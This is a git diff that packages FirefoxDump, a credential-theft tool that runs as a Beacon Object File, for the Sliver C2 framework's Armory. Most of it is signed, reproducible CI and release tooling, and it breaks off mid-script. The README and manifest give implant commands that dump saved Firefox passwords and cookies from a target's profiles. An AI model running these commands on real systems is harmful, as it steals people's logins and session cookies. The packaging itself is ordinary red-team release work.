diff --git a/.github/workflows/package.yml b/.github/workflows/package.yml new file mode 100644 index 0000000..763ffed --- /dev/null +++ b/.github/workflows/package.yml @@ -0,0 +1,406 @@ +name: Package + +on: + pull_request: + push: + branches: + - main + tags: + - "v[0-9]+.[0-9]+.[0-9]+" + +permissions: + contents: read + +concurrency: + group: package-${{ github.workflow }}-${{ github.ref }} + cancel-in-progress: false + +env: + PACKAGE_BASENAME: firefoxdump + +jobs: + build: + name: Build package + runs-on: ubuntu-24.04 + timeout-minutes: 20 + permissions: + contents: read + steps: + - name: Check out source + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + fetch-depth: 0 + persist-credentials: false + + - name: Derive exact package version + shell: bash + run: | + set -euo pipefail + package_version=v0.0.0 + if [[ "$GITHUB_REF" == refs/tags/* ]]; then + package_version="$GITHUB_REF_NAME" + if [[ ! "$package_version" =~ ^v[0-9]+\.[0-9]+\.[0-9]+$ ]]; then + echo "Tag must have the exact form vMAJOR.MINOR.PATCH" >&2 + exit 1 + fi + if [[ "$(git rev-list -n 1 "$package_version")" != "$(git rev-parse HEAD)" ]]; then + echo "Tag does not resolve to the checked-out commit" >&2 + exit 1 + fi + fi + echo "PACKAGE_VERSION=$package_version" >> "$GITHUB_ENV" + + - name: Install pinned MinGW toolchains + shell: bash + run: | + set -euo pipefail + readonly -a packages=( + 'binutils-mingw-w64-i686=2.41.90.20240122-1ubuntu1+11.4' + 'binutils-mingw-w64-x86-64=2.41.90.20240122-1ubuntu1+11.4' + 'gcc-mingw-w64-base=13.2.0-6ubuntu1+26.1' + 'gcc-mingw-w64-i686-win32-runtime=13.2.0-6ubuntu1+26.1' + 'gcc-mingw-w64-i686-win32=13.2.0-6ubuntu1+26.1' + 'gcc-mingw-w64-x86-64-win32-runtime=13.2.0-6ubuntu1+26.1' + 'gcc-mingw-w64-x86-64-win32=13.2.0-6ubuntu1+26.1' + 'make=4.3-4.1build2' + 'mingw-w64-common=11.0.1-3build1' + 'mingw-w64-i686-dev=11.0.1-3build1' + 'mingw-w64-x86-64-dev=11.0.1-3build1' + ) + sudo apt-get update + sudo apt-get install --yes --no-install-recommends "${packages[@]}" + sudo update-alternatives --set \ + i686-w64-mingw32-gcc \ + /usr/bin/i686-w64-mingw32-gcc-win32 + sudo update-alternatives --set \ + x86_64-w64-mingw32-gcc \ + /usr/bin/x86_64-w64-mingw32-gcc-win32 + + test "$(update-alternatives --query i686-w64-mingw32-gcc | sed -n 's/^Value: //p')" \ + = /usr/bin/i686-w64-mingw32-gcc-win32 + test "$(update-alternatives --query x86_64-w64-mingw32-gcc | sed -n 's/^Value: //p')" \ + = /usr/bin/x86_64-w64-mingw32-gcc-win32 + test "$(i686-w64-mingw32-gcc -dumpmachine)" = i686-w64-mingw32 + test "$(x86_64-w64-mingw32-gcc -dumpmachine)" = x86_64-w64-mingw32 + test "$(i686-w64-mingw32-gcc -dumpfullversion)" = 13-win32 + test "$(x86_64-w64-mingw32-gcc -dumpfullversion)" = 13-win32 + test "$(i686-w64-mingw32-gcc -v 2>&1 | sed -n 's/^[[:space:]]*Thread model: //p')" = win32 + test "$(x86_64-w64-mingw32-gcc -v 2>&1 | sed -n 's/^[[:space:]]*Thread model: //p')" = win32 + + for spec in "${packages[@]}"; do + package="${spec%%=*}" + expected="${spec#*=}" + actual="$(dpkg-query --show --showformat='${Version}' "$package")" + if [[ "$actual" != "$expected" ]]; then + printf 'version mismatch: %s expected %s got %s\n' \ + "$package" "$expected" "$actual" >&2 + exit 1 + fi + printf '%s=%s\n' "$package" "$actual" + done + + - name: Build deterministic unsigned package + shell: bash + run: | + set -euo pipefail + export SOURCE_DATE_EPOCH="$(git show -s --format=%ct HEAD)" + python3 scripts/package.py --tag "$PACKAGE_VERSION" --output-dir release + python3 scripts/validate_archive.py \ + --archive "release/$PACKAGE_BASENAME.tar.gz" \ + --tag "$PACKAGE_VERSION" \ + --inspect-objects + + second_source="$RUNNER_TEMP/reproducibility-source" + second_output="$RUNNER_TEMP/reproducibility-output" + mkdir -p "$second_source" + git archive HEAD | tar -x -C "$second_source" + python3 "$second_source/scripts/package.py" \ + --tag "$PACKAGE_VERSION" \ + --output-dir "$second_output" + cmp \ + "release/$PACKAGE_BASENAME.tar.gz" \ + "$second_output/$PACKAGE_BASENAME.tar.gz" + tar -tzf "release/$PACKAGE_BASENAME.tar.gz" + sha256sum "release/$PACKAGE_BASENAME.tar.gz" + + - name: Upload unsigned package + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: unsigned-package + path: release/firefoxdump.tar.gz + if-no-files-found: error + retention-days: 1 + + release: + name: Sign and publish release + if: startsWith(github.ref, 'refs/tags/v') + needs: + - build + runs-on: ubuntu-24.04 + timeout-minutes: 15 + environment: + name: armory-release + permissions: + contents: write + steps: + - name: Check out tagged source + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + fetch-depth: 0 + persist-credentials: false + + - name: Download unsigned package + uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1 + with: + name: unsigned-package + path: release + + - name: Install pinned Minisign + shell: bash + run: | + set -euo pipefail + sudo apt-get update + sudo apt-get install --yes --no-install-recommends minisign=0.11-1 + test "$(dpkg-query --show --showformat='${Version}' minisign)" = 0.11-1 + minisign -v + + - name: Revalidate tag and unsigned archive + shell: bash + env: + GH_TOKEN: ${{ github.token }} + run: | + set -euo pipefail + if [[ ! "$GITHUB_REF_NAME" =~ ^v[0-9]+\.[0-9]+\.[0-9]+$ ]]; then + echo "Tag must have the exact form vMAJOR.MINOR.PATCH" >&2 + exit 1 + fi + if [[ "$(git rev-list -n 1 "$GITHUB_REF_NAME")" != "$(git rev-parse HEAD)" ]]; then + echo "Tag does not resolve to the checked-out commit" >&2 + exit 1 + fi + git fetch --no-tags origin main + if ! git merge-base --is-ancestor "$GITHUB_SHA" origin/main; then + echo "Tag commit is not contained in origin/main" >&2 + exit 1 + fi + immutable_releases="$(gh api \ + -H 'X-GitHub-Api-Version: 2026-03-10' \ + "repos/$GITHUB_REPOSITORY/immutable-releases" --jq .enabled)" + if [[ "$immutable_releases" != true ]]; then + echo "Repository immutable releases must be enabled before signing" >&2 + exit 1 + fi + existing_release_id="$(gh api \ + -H 'X-GitHub-Api-Version: 2026-03-10' \ + "repos/$GITHUB_REPOSITORY/releases?per_page=100" \ + --jq ".[] | select(.tag_name == \"$GITHUB_REF_NAME\") | .id")" + if [[ -n "$existing_release_id" ]]; then + echo "Release $GITHUB_REF_NAME already exists" >&2 + exit 1 + fi + python3 scripts/validate_archive.py \ + --archive "release/$PACKAGE_BASENAME.tar.gz" \ + --tag "$GITHUB_REF_NAME" + tar -xOzf "release/$PACKAGE_BASENAME.tar.gz" ./extension.json \ + > "$RUNNER_TEMP/extension.json" + base64 -w0 "$RUNNER_TEMP/extension.json" > "$RUNNER_TEMP/manifest.b64" + + - name: Sign and verify package + shell: bash + env: + MINISIGN_PRIVATE_KEY: ${{ secrets.MINISIGN_PRIVATE_KEY }} + run: | + set -euo pipefail + set +x + umask 077 + key_file="$RUNNER_TEMP/minisign.key" + trap 'rm -f "$key_file"' EXIT + archive="release/$PACKAGE_BASENAME.tar.gz" + signature="release/$PACKAGE_BASENAME.minisig" + test -n "$MINISIGN_PRIVATE_KEY" + printf '%s' "$MINISIGN_PRIVATE_KEY" > "$key_file" + unset MINISIGN_PRIVATE_KEY + + public_key="$(sed -n '2p' minisign.pub)" + manifest_b64="$(cat "$RUNNER_TEMP/manifest.b64")" + minisign -S -s "$key_file" -m "$archive" -x "$signature" -t "$manifest_b64" + minisign -V -P "$public_key" -m "$archive" -x "$signature" + trusted_manifest="$(sed -n '3s/^trusted comment: //p' "$signature")" + test "$trusted_manifest" = "$manifest_b64" + + - name: Remove signing key + if: always() + shell: bash + run: rm -f "$RUNNER_TEMP/minisign.key" + + - name: Validate signed package + shell: bash + run: | + set -euo pipefail + python3 scripts/validate_archive.py \ + --archive "release/$PACKAGE_BASENAME.tar.gz" \ + --tag "$GITHUB_REF_NAME" + python3 scripts/validate_signature.py \ + --archive "release/$PACKAGE_BASENAME.tar.gz" \ + --signature "release/$PACKAGE_BASENAME.minisig" \ + --public-key-file minisign.pub \ + --tag "$GITHUB_REF_NAME" + + - name: Stage draft release + id: stage_release + shell: bash + env: + GH_TOKEN: ${{ github.token }} + run: | + set -euo pipefail + gh release create "$GITHUB_REF_NAME" \ + "release/$PACKAGE_BASENAME.tar.gz" \ + "release/$PACKAGE_BASENAME.minisig" \ + --repo "$GITHUB_REPOSITORY" \ + --draft \ + --verify-tag \ + --title "$PACKAGE_BASENAME $GITHUB_REF_NAME" \ + --notes "Signed Sliver Armory package built from commit $GITHUB_SHA." + + release_id="$(gh api \ + -H 'X-GitHub-Api-Version: 2026-03-10' \ + "repos/$GITHUB_REPOSITORY/releases?per_page=100" \ + --jq ".[] | select(.tag_name == \"$GITHUB_REF_NAME\" and .draft == true) | .id")" + if [[ ! "$release_id" =~ ^[0-9]+$ ]]; then + echo "Could not resolve the staged draft release ID" >&2 + exit 1 + fi + printf 'release_id=%s\n' "$release_id" >> "$GITHUB_OUTPUT" + + - name: Verify staged release assets + shell: bash + env: + GH_TOKEN: ${{ github.token }} + run: | + set -euo pipefail + release_id="${{ steps.stage_release.outputs.release_id }}" + release_api="repos/$GITHUB_REPOSITORY/releases/$release_id" + assets_api="$release_api/assets" + draft_dir="$RUNNER_TEMP/draft-release" + mkdir -p "$draft_dir" + + test "$(gh api -H 'X-GitHub-Api-Version: 2026-03-10' \ + "$release_api" --jq .tag_name)" = "$GITHUB_REF_NAME" + test "$(gh api -H 'X-GitHub-Api-Version: 2026-03-10' \ + "$release_api" --jq .draft)" = true + expected_assets='["firefoxdump.minisig","firefoxdump.tar.gz"]' + actual_assets="$(gh api -H 'X-GitHub-Api-Version: 2026-03-10' \ + "$assets_api" --jq '[.[].name] | sort')" + test "$actual_assets" = "$expected_assets" + + for asset in "$PACKAGE_BASENAME.tar.gz" "$PACKAGE_BASENAME.minisig"; do + asset_id="$(gh api -H 'X-GitHub-Api-Version: 2026-03-10' \ + "$assets_api" --jq ".[] | select(.name == \"$asset\") | .id")" + if [[ ! "$asset_id" =~ ^[0-9]+$ ]]; then + echo "Could not resolve staged asset ID for $asset" >&2 + exit 1 + fi + gh api \ + -H 'Accept: application/octet-stream' \ + -H 'X-GitHub-Api-Version: 2026-03-10' \ + "repos/$GITHUB_REPOSITORY/releases/assets/$asset_id" \ + > "$draft_dir/$asset" + done + + cmp "release/$PACKAGE_BASENAME.tar.gz" "$draft_dir/$PACKAGE_BASENAME.tar.gz" + cmp "release/$PACKAGE_BASENAME.minisig" "$draft_dir/$PACKAGE_BASENAME.minisig" + python3 scripts/validate_archive.py \ + --archive "$draft_dir/$PACKAGE_BASENAME.tar.gz" \ + --tag "$GITHUB_REF_NAME" + python3 scripts/validate_signature.py \ + --archive "$draft_dir/$PACKAGE_BASENAME.tar.gz" \ + --signature "$draft_dir/$PACKAGE_BASENAME.minisig" \ + --public-key-file minisign.pub \ + --tag "$GITHUB_REF_NAME" + + - name: Publish immutable release + shell: bash + env: + GH_TOKEN: ${{ github.token }} + run: | + set -euo pipefail + release_id="${{ steps.stage_release.outputs.release_id }}" + release_api="repos/$GITHUB_REPOSITORY/releases/$release_id" + gh api --method PATCH \ + -H 'X-GitHub-Api-Version: 2026-03-10' \ + "$release_api" \ + -F draft=false \ + -f make_latest=true \ + --silent + test "$(gh api -H 'X-GitHub-Api-Version: 2026-03-10' \ + "$release_api" --jq .draft)" = false + + - name: Verify public release assets anonymously + shell: bash + env: + GH_TOKEN: ${{ github.token }} + run: | + set -euo pipefail + public_dir="$RUNNER_TEMP/public-release" + mkdir -p "$public_dir" + release_url="https://github.com/$GITHUB_REPOSITORY/releases/download/$GITHUB_REF_NAME" + for asset in "$PACKAGE_BASENAME.tar.gz" "$PACKAGE_BASENAME.minisig"; do + downloaded=false + for attempt in 1 2 3 4 5; do + if curl --fail --location --proto '=https' --tlsv1.2 \ + --output "$public_dir/$asset" "$release_url/$asset"; then + downloaded=true + break + fi + sleep 2 + done + test "$downloaded" = true + test -s "$public_dir/$asset" + done + + expected_assets='["firefoxdump.minisig","firefoxdump.tar.gz"]' + release_api="repos/$GITHUB_REPOSITORY/releases/tags/$GITHUB_REF_NAME" + actual_assets="$(gh api \ + -H 'X-GitHub-Api-Version: 2026-03-10' \ + "$release_api" --jq '[.assets[].name] | sort')" + test "$actual_assets" = "$expected_assets" + test "$(gh api -H 'X-GitHub-Api-Version: 2026-03-10' \ + "$release_api" --jq .draft)" = false + test "$(gh api -H 'X-GitHub-Api-Version: 2026-03-10' \ + "$release_api" --jq .prerelease)" = false + test "$(gh api -H 'X-GitHub-Api-Version: 2026-03-10' \ + "$release_api" --jq .immutable)" = true + test "$(gh api -H 'X-GitHub-Api-Version: 2026-03-10' \ + "repos/$GITHUB_REPOSITORY/releases/latest" --jq .tag_name)" = "$GITHUB_REF_NAME" + test "$(gh api "repos/$GITHUB_REPOSITORY/commits/$GITHUB_REF_NAME" --jq .sha)" \ + = "$GITHUB_SHA" + + cmp "release/$PACKAGE_BASENAME.tar.gz" "$public_dir/$PACKAGE_BASENAME.tar.gz" + cmp "release/$PACKAGE_BASENAME.minisig" "$public_dir/$PACKAGE_BASENAME.minisig" + python3 scripts/validate_archive.py \ + --archive "$public_dir/$PACKAGE_BASENAME.tar.gz" \ + --tag "$GITHUB_REF_NAME" + python3 scripts/validate_signature.py \ + --archive "$public_dir/$PACKAGE_BASENAME.tar.gz" \ + --signature "$public_dir/$PACKAGE_BASENAME.minisig" \ + --public-key-file minisign.pub \ + --tag "$GITHUB_REF_NAME" + sha256sum "$public_dir/$PACKAGE_BASENAME.tar.gz" + + - name: Remove a failed draft release + if: ${{ failure() && steps.stage_release.outcome == 'success' }} + shell: bash + env: + GH_TOKEN: ${{ github.token }} + run: | + set -euo pipefail + release_id="${{ steps.stage_release.outputs.release_id }}" + if [[ "$release_id" =~ ^[0-9]+$ ]]; then + release_api="repos/$GITHUB_REPOSITORY/releases/$release_id" + if [[ "$(gh api -H 'X-GitHub-Api-Version: 2026-03-10' \ + "$release_api" --jq .draft)" == true ]]; then + gh api --method DELETE \ + -H 'X-GitHub-Api-Version: 2026-03-10' \ + "$release_api" --silent + fi + fi diff --git a/.github/workflows/reflektor.yml b/.github/workflows/reflektor.yml new file mode 100644 index 0000000..f347529 --- /dev/null +++ b/.github/workflows/reflektor.yml @@ -0,0 +1,151 @@ +name: Reflektor compatibility + +on: + pull_request: + push: + branches: + - main + +permissions: + contents: read + +concurrency: + group: reflektor-${{ github.workflow }}-${{ github.ref }} + cancel-in-progress: true + +jobs: + build: + name: Build Windows COFF objects + runs-on: ubuntu-24.04 + timeout-minutes: 15 + steps: + - name: Check out source + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + + - name: Install pinned MinGW toolchains + shell: bash + run: | + set -euo pipefail + readonly -a packages=( + 'binutils-mingw-w64-i686=2.41.90.20240122-1ubuntu1+11.4' + 'binutils-mingw-w64-x86-64=2.41.90.20240122-1ubuntu1+11.4' + 'gcc-mingw-w64-base=13.2.0-6ubuntu1+26.1' + 'gcc-mingw-w64-i686-win32-runtime=13.2.0-6ubuntu1+26.1' + 'gcc-mingw-w64-i686-win32=13.2.0-6ubuntu1+26.1' + 'gcc-mingw-w64-x86-64-win32-runtime=13.2.0-6ubuntu1+26.1' + 'gcc-mingw-w64-x86-64-win32=13.2.0-6ubuntu1+26.1' + 'mingw-w64-common=11.0.1-3build1' + 'mingw-w64-i686-dev=11.0.1-3build1' + 'mingw-w64-x86-64-dev=11.0.1-3build1' + 'make=4.3-4.1build2' + ) + sudo apt-get update + sudo apt-get install --yes --no-install-recommends "${packages[@]}" + sudo update-alternatives --set \ + i686-w64-mingw32-gcc \ + /usr/bin/i686-w64-mingw32-gcc-win32 + sudo update-alternatives --set \ + x86_64-w64-mingw32-gcc \ + /usr/bin/x86_64-w64-mingw32-gcc-win32 + for spec in "${packages[@]}"; do + package="${spec%%=*}" + expected="${spec#*=}" + actual="$(dpkg-query --show --showformat='${Version}' "$package")" + test "$actual" = "$expected" + printf '%s=%s\n' "$package" "$actual" + done + test "$(i686-w64-mingw32-gcc -dumpmachine)" = i686-w64-mingw32 + test "$(x86_64-w64-mingw32-gcc -dumpmachine)" = x86_64-w64-mingw32 + + - name: Build and inspect repository objects + shell: bash + run: | + set -euo pipefail + make all + i686-w64-mingw32-objdump -f \ + bin/firefoxdump.x86.o | \ + tee "$RUNNER_TEMP/firefoxdump.x86.objdump.txt" + x86_64-w64-mingw32-objdump -f \ + bin/firefoxdump.x64.o | \ + tee "$RUNNER_TEMP/firefoxdump.x64.objdump.txt" + grep -F 'architecture: i386' \ + "$RUNNER_TEMP/firefoxdump.x86.objdump.txt" + grep -F 'architecture: i386:x86-64' \ + "$RUNNER_TEMP/firefoxdump.x64.objdump.txt" + test -s bin/firefoxdump.x86.o + test -s bin/firefoxdump.x64.o + + - name: Upload unsigned test objects + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: firefoxdump-reflektor-objects + path: bin/firefoxdump.*.o + if-no-files-found: error + retention-days: 1 + + execute: + name: Execute Reflektor (${{ matrix.goarch }}) + needs: + - build + runs-on: windows-2025 + timeout-minutes: 15 + strategy: + fail-fast: false + matrix: + include: + - goarch: amd64 + object: firefoxdump.x64.o + - goarch: "386" + object: firefoxdump.x86.o + steps: + - name: Check out test harness + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + + - name: Set up pinned Go toolchain + uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 + with: + go-version-file: tests/reflektor/go.mod + cache-dependency-path: tests/reflektor/go.sum + + - name: Download repository objects + uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1 + with: + name: firefoxdump-reflektor-objects + path: tests/reflektor/artifacts + + - name: Build and execute native-architecture harness + shell: pwsh + env: + CGO_ENABLED: "0" + GOARCH: ${{ matrix.goarch }} + GOOS: windows + GOWORK: "off" + run: | + $ErrorActionPreference = "Stop" + Push-Location tests/reflektor + try { + $goVersion = go env GOVERSION + if ($goVersion -ne "go1.26.6") { + throw "Go version is $goVersion, want go1.26.6" + } + $reflektorVersion = go list -mod=readonly -m ` + -f '{{.Version}}' github.com/sliverarmory/reflektor + if ($reflektorVersion -ne "v0.0.7") { + throw "Reflektor version is $reflektorVersion, want v0.0.7" + } + go mod verify + go build -mod=readonly -trimpath -buildvcs=false ` + -o "$env:RUNNER_TEMP/reflektor-smoke.exe" . + & "$env:RUNNER_TEMP/reflektor-smoke.exe" ` + -object "artifacts/${{ matrix.object }}" + if ($LASTEXITCODE -ne 0) { + throw "Reflektor smoke test exited with $LASTEXITCODE" + } + } + finally { + Pop-Location + } diff --git a/.gitignore b/.gitignore index fb31c7a..1f166f1 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,13 @@ # Compiled objects *.o +/release/ + +# Python caches +__pycache__/ +*.pyc + +# Local signing material (the public key is minisign.pub and is committed) +minisign.key # Editor files *.swp diff --git a/Makefile b/Makefile index 968350f..021b792 100644 --- a/Makefile +++ b/Makefile @@ -3,17 +3,21 @@ CC_X64 = x86_64-w64-mingw32-gcc CC_X86 = i686-w64-mingw32-gcc -CFLAGS = -I src/common -Os -c -DBOF +CFLAGS = -Os -c -DBOF -Wall -Wextra -Wpedantic -Werror -Wno-cast-function-type +BIN_DIR = bin all: x64 x86 -x64: - $(CC_X64) -o bin/firefoxdump.x64.o $(CFLAGS) src/entry.c +x64: | $(BIN_DIR) + $(CC_X64) -o $(BIN_DIR)/firefoxdump.x64.o $(CFLAGS) src/entry.c -x86: - $(CC_X86) -o bin/firefoxdump.x86.o $(CFLAGS) src/entry.c +x86: | $(BIN_DIR) + $(CC_X86) -o $(BIN_DIR)/firefoxdump.x86.o $(CFLAGS) src/entry.c + +$(BIN_DIR): + mkdir -p $(BIN_DIR) clean: - rm -f bin/*.o + rm -f $(BIN_DIR)/*.o .PHONY: all x64 x86 clean diff --git a/NOTICE b/NOTICE new file mode 100644 index 0000000..b310499 --- /dev/null +++ b/NOTICE @@ -0,0 +1,23 @@ +FirefoxDump Armory package +========================== + +This distribution is based on FirefoxDump by mrrobot1o1: +https://github.com/mrrobot1o1/firefoxdump + +Upstream source revision: e5f9a4143598a0363145be5ec3f7c4496cfa9cff + +The upstream repository's root LICENSE declares the project under the GNU +General Public License, version 3. This distribution is licensed under +GPL-3.0-only; the full license text is in LICENSE. + +Armory packaging modifications made in August 2026 include a minimal original +BOF API header, Reflektor compatibility, read-only data access, bounds checks, +resource cleanup, and corrected Firefox cookie handling. + +Earlier upstream revisions included src/common/base.c, src/common/beacon.h, and +src/common/bofdefs.h from the TrustedSec CS-Situational-Awareness-BOF project. +Those files are not included in this distribution. They were replaced with the +project-specific src/bof_api.h implementation. + +The Firefox credential-decryption approach credits the firefox_decrypt project: +https://github.com/unode/firefox_decrypt diff --git a/README.md b/README.md index cad67b1..e4a25f1 100644 --- a/README.md +++ b/README.md @@ -1,11 +1,11 @@ # Firefox Dump BOF -A Beacon Object File (BOF) for Cobalt Strike that extracts saved passwords and cookies from Mozilla Firefox profiles. +A Beacon Object File (BOF) that extracts saved passwords and cookies from Mozilla Firefox profiles. The Armory package runs through Sliver's built-in Reflektor BOF executor. ## Features - **Password Extraction**: Decrypts saved passwords from `logins.json` (modern) and `signons.sqlite` (legacy) -- **Cookie Extraction**: Extracts cookies from `cookies.sqlite` +- **Cookie Extraction**: Reads cookie values from Firefox's `moz_cookies` table - **NSS Decryption**: Uses Firefox's NSS libraries for password decryption - **Multi-Profile Support**: Enumerates and processes all Firefox profiles - **Key Database Support**: Works with both `key4.db` (modern) and `key3.db` (legacy) @@ -13,6 +13,19 @@ A Beacon Object File (BOF) for Cobalt Strike that extracts saved passwords and c ## Usage +### Load in Sliver + +This package requires a Sliver client, server, and implant built from +`b19e383111dbf8b04096806b249f6238274edff4` or later, with built-in BOF v1 +execution through Reflektor. It intentionally has no `coff-loader` fallback. + +```text +sliver > armory install firefoxdump +sliver > firefoxdump +sliver > firefoxdump --mode /all +sliver > firefoxdump --mode /cookies +``` + ### Load in Cobalt Strike ``` @@ -71,10 +84,10 @@ Compiled files are output to the `bin/` directory. ```bash # 64-bit -x86_64-w64-mingw32-gcc -o bin/firefoxdump.x64.o -I src/common -Os -c src/entry.c -DBOF +x86_64-w64-mingw32-gcc -o bin/firefoxdump.x64.o -Os -c src/entry.c -DBOF # 32-bit -i686-w64-mingw32-gcc -o bin/firefoxdump.x86.o -I src/common -Os -c src/entry.c -DBOF +i686-w64-mingw32-gcc -o bin/firefoxdump.x86.o -Os -c src/entry.c -DBOF ``` ## How It Works @@ -94,8 +107,8 @@ i686-w64-mingw32-gcc -o bin/firefoxdump.x86.o -I src/common -Os -c src/entry.c - - Decrypts using `PK11SDR_Decrypt` from NSS 5. **Cookie Extraction**: - - Reads `cookies.sqlite` - - Decrypts encrypted cookie values using NSS + - Opens `cookies.sqlite` read-only + - Reads the `host`, `path`, `name`, and `value` columns used by Firefox ## Technical Details @@ -119,12 +132,18 @@ i686-w64-mingw32-gcc -o bin/firefoxdump.x86.o -I src/common -Os -c src/entry.c - - `winsqlite3.dll` (Windows built-in) - For SQLite operations - Firefox NSS libraries - For password decryption +### Safety Bounds + +- Processes at most 10 profiles and 50 password or cookie rows per profile +- Rejects `logins.json` files larger than 32 MiB +- Suppresses further callback records after 8 MiB of output per execution + ## OPSEC Considerations - Loads Firefox DLLs into beacon process memory - Accesses user profile directories - Reads sensitive credential files -- Uses `CryptUnprotectData` for DPAPI operations +- Initializes the Firefox NSS profile in read-only mode ## MITRE ATT&CK @@ -132,13 +151,13 @@ i686-w64-mingw32-gcc -o bin/firefoxdump.x86.o -I src/common -Os -c src/entry.c - ## Credits -Based on the [CS-Situational-Awareness-BOF](https://github.com/trustedsec/cs-situational-awareness-bof) collection by TrustedSec. +FirefoxDump was originally created by [mrrobot1o1](https://github.com/mrrobot1o1/firefoxdump). See [NOTICE](NOTICE) for source and modification provenance. Firefox decryption logic inspired by [firefox_decrypt](https://github.com/unode/firefox_decrypt/). ## License -MIT License +GNU General Public License v3.0 only. See [LICENSE](LICENSE). ## Disclaimer diff --git a/extension.json b/extension.json new file mode 100644 index 0000000..834048b --- /dev/null +++ b/extension.json @@ -0,0 +1,43 @@ +{ + "name": "firefoxdump", + "package_name": "firefoxdump", + "version": "v0.0.0", + "extension_author": "Sliver Armory", + "original_author": "mrrobot1o1", + "repo_url": "https://github.com/sliverarmory/firefoxdump", + "commands": [ + { + "command_name": "firefoxdump", + "help": "Extract saved passwords and cookies from Firefox profiles.", + "long_help": "Extract Firefox secrets from accessible profiles. With no mode, extract passwords only; use --mode /all for passwords and cookies or --mode /cookies for cookies only. Requires a Sliver client, server, and implant with built-in BOF/Reflektor support. Use only on systems and data you are authorized to access.", + "entrypoint": "go", + "bof_executor": "reflektor", + "init": "", + "arguments": [ + { + "name": "mode", + "type": "string", + "desc": "Extraction mode: omit for passwords, set --mode /all for passwords and cookies, or --mode /cookies for cookies only.", + "optional": true, + "default": "", + "choices": [ + "/all", + "/cookies" + ] + } + ], + "files": [ + { + "os": "windows", + "arch": "amd64", + "path": "firefoxdump.x64.o" + }, + { + "os": "windows", + "arch": "386", + "path": "firefoxdump.x86.o" + } + ] + } + ] +} diff --git a/firefoxdump.cna b/firefoxdump.cna index 480375f..78c87bf 100644 --- a/firefoxdump.cna +++ b/firefoxdump.cna @@ -46,7 +46,7 @@ alias firefoxdump { } # Pack option for BOF - $data = bof_pack($option); + $data = bof_pack($bid, "z", $option); btask($bid, "Extracting Firefox secrets"); beacon_inline_execute($bid, $bof, "go", $data); } diff --git a/minisign.pub b/minisign.pub new file mode 100644 index 0000000..bba342b --- /dev/null +++ b/minisign.pub @@ -0,0 +1,2 @@ +untrusted comment: minisign public key 5F96BC3ABC5BEF13 +RWQT71u8OryWX4sIY2mwJq/41tKfI6SdZivwRlWLP9pBDn6ijresXI/H diff --git a/scripts/package.py b/scripts/package.py new file mode 100644 index 0000000..3939f15 --- /dev/null +++ b/scripts/package.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python3 +"""Build the deterministic FirefoxDump Sliver Armory archive.""" + +from __future__ import annotations + +import argparse +import base64 +import gzip +import hashlib +import io +import json +import os +from pathlib import Path +import re +import subprocess +import tarfile + + +ROOT = Path(__file__).resolve().parents[1] +ARTIFACT_BASENAME = "firefoxdump" +SOURCE_ARTIFACTS = { + "firefoxdump.x64.o": ROOT / "bin/firefoxdump.x64.o", + "firefoxdump.x86.o": ROOT / "bin/firefoxdump.x86.o", +} +STATIC_FILES = ("LICENSE", "NOTICE") +TAG_RE = re.compile(r"^v[0-9]+\.[0-9]+\.[0-9]+$") +MAX_TRUSTED_COMMENT_BYTES = 4000 + + +def source_epoch() -> int: + configured = os.environ.get("SOURCE_DATE_EPOCH") + if configured: + epoch = int(configured) + else: + result = subprocess.run( + ["git", "show", "-s", "--format=%ct", "HEAD"], + cwd=ROOT, + check=True, + capture_output=True, + text=True, + ) + epoch = int(result.stdout.strip()) + if epoch < 0: + raise ValueError("SOURCE_DATE_EPOCH must not be negative") + return epoch + + +def staged_manifest(tag: str) -> bytes: + source = (ROOT / "extension.json").read_bytes() + text = source.decode("utf-8") + updated, count = re.subn( + r'("version"\s*:\s*)"v0\.0\.0"', + rf'\g<1>"{tag}"', + text, + count=1, + ) + if count != 1: + raise ValueError("source extension.json must contain exactly one v0.0.0 version") + + original_json = json.loads(text) + staged_json = json.loads(updated) + original_json["version"] = tag + if staged_json != original_json: + raise ValueError("staging changed extension.json fields other than version") + encoded = updated.encode("utf-8") + trusted_comment_size = len(base64.b64encode(encoded)) + if trusted_comment_size > MAX_TRUSTED_COMMENT_BYTES: + raise ValueError( + "staged extension.json exceeds the safe Minisign trusted-comment limit: " + f"{trusted_comment_size} > {MAX_TRUSTED_COMMENT_BYTES} base64 bytes" + ) + return encoded + + +def write_archive(archive: Path, staged: dict[str, bytes], epoch: int) -> None: + archive.parent.mkdir(parents=True, exist_ok=True) + archive.unlink(missing_ok=True) + with archive.open("wb") as raw: + with gzip.GzipFile(fileobj=raw, mode="wb", filename="", mtime=epoch) as compressed: + with tarfile.open( + fileobj=compressed, + mode="w", + format=tarfile.USTAR_FORMAT, + ) as tar: + for name in sorted(staged): + data = staged[name] + info = tarfile.TarInfo(name=f"./{name}") + info.size = len(data) + info.mtime = epoch + info.mode = 0o644 + info.uid = 0 + info.gid = 0 + info.uname = "root" + info.gname = "root" + tar.addfile(info, io.BytesIO(data)) + + +def main() -> int: + parser = argparse.ArgumentParser() + parser.add_argument("--tag", required=True) + parser.add_argument("--output-dir", type=Path, default=ROOT / "release") + parser.add_argument("--skip-build", action="store_true") + args = parser.parse_args() + + if not TAG_RE.fullmatch(args.tag): + parser.error("--tag must have the exact form vMAJOR.MINOR.PATCH") + + if not args.skip_build: + (ROOT / "bin").mkdir(exist_ok=True) + subprocess.run(["make"], cwd=ROOT, check=True) + + staged: dict[str, bytes] = {"extension.json": staged_manifest(args.tag)} + for output_name, source_path in SOURCE_ARTIFACTS.items(): + if not source_path.is_file() or source_path.stat().st_size == 0: + raise FileNotFoundError(f"missing or empty build output: {source_path}") + staged[output_name] = source_path.read_bytes() + for name in STATIC_FILES: + source_path = ROOT / 